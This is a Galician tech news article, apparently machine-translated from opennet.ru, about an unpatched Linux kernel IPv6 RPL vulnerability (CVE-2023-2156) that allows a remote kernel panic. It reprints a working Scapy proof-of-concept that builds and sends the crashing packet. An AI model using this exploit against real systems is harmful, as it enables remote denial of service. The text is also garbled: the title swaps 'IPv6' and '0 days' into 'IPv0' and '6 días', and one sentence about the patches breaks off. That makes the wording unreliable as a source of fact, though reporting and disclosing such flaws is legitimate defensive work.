Vulnerabilidade da pila IPv0 de Linux de 6 días que permite fallar o núcleo remoto

Revelouse información sobre unha vulnerabilidade non corrixida (0 días) (CVE-2023-2156) no núcleo de Linux, que permite deter o sistema mediante o envío de paquetes IPv6 especialmente deseñados (paquete de morte). O problema só aparece cando se habilita o soporte para o protocolo RPL (Routing Protocol for Low-Power and Lossy Networks), que está desactivado por defecto nas distribucións e que se usa principalmente en dispositivos embebidos que operan en redes sen fíos con gran perda de paquetes.

A vulnerabilidade prodúcese polo procesamento incorrecto de datos externos no código de análise do protocolo RPL, o que leva a un fallo de afirmación e o kernel entra en estado de pánico. Ao colocar os datos obtidos ao analizar a cabeceira do paquete RPL IPv6 na estrutura k_buff (Socket Buffer), se o campo CmprI está definido en 15, o campo Segleft en 1 e CmprE en 0, descomprime o vector de 48 bytes con enderezos. a 528 bytes e aparece unha situación na que a memoria asignada para o búfer non é suficiente. Neste caso, a función skb_push, que se usa para meter os datos na estrutura, comproba a inconmensurabilidade entre o tamaño dos datos e o búfer, xerando un estado de pánico para evitar a escritura máis aló do límite do búfer.

Explotación de exemplo: # Usaremos Scapy para crear o paquete desde scapy.all import * import socket # Use o IPv6 da súa interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usamos sockets para enviar o paquete sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea o paquete # Type = 3 fai que este sexa un paquete RPL # Addresses contén 3 enderezos, pero como CmprI é 15, # cada octeto dos dous primeiros enderezos é tratado como un enderezo comprimido # Segleft = 1 para activar a amplificación # lastentry = 0xf0 establece CmprI en 15 e CmprE en 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envía este paquete malvado sockfd.sendto(bytes(p), (DST_ADDR, 0))

Cabe destacar que os desenvolvedores do kernel foron notificados da vulnerabilidade en xaneiro de 2022 e durante os últimos 15 meses intentaron solucionar o problema tres veces, lanzando parches en setembro de 2022, outubro de 2022 e abril de 2023, pero cada vez se corrixiron. non é suficiente e non se puido reproducir a vulnerabilidade. Finalmente, o proxecto ZDI, que coordinou o traballo para corrixir a vulnerabilidade, decidiu publicar información detallada sobre a vulnerabilidade sen esperar a que unha corrección de traballo estea dispoñible no núcleo.

Así, a vulnerabilidade aínda segue sen corrixirse. En particular, o parche incluído no núcleo 6.4-rc2 é ineficaz. Recoméndase aos usuarios que comproben que o protocolo RPL non se utiliza nos seus sistemas, o que se pode facer mediante o comando sysctl -a | grep -i rpl_seg_enabled

Fonte: opennet.ru

Engadir un comentario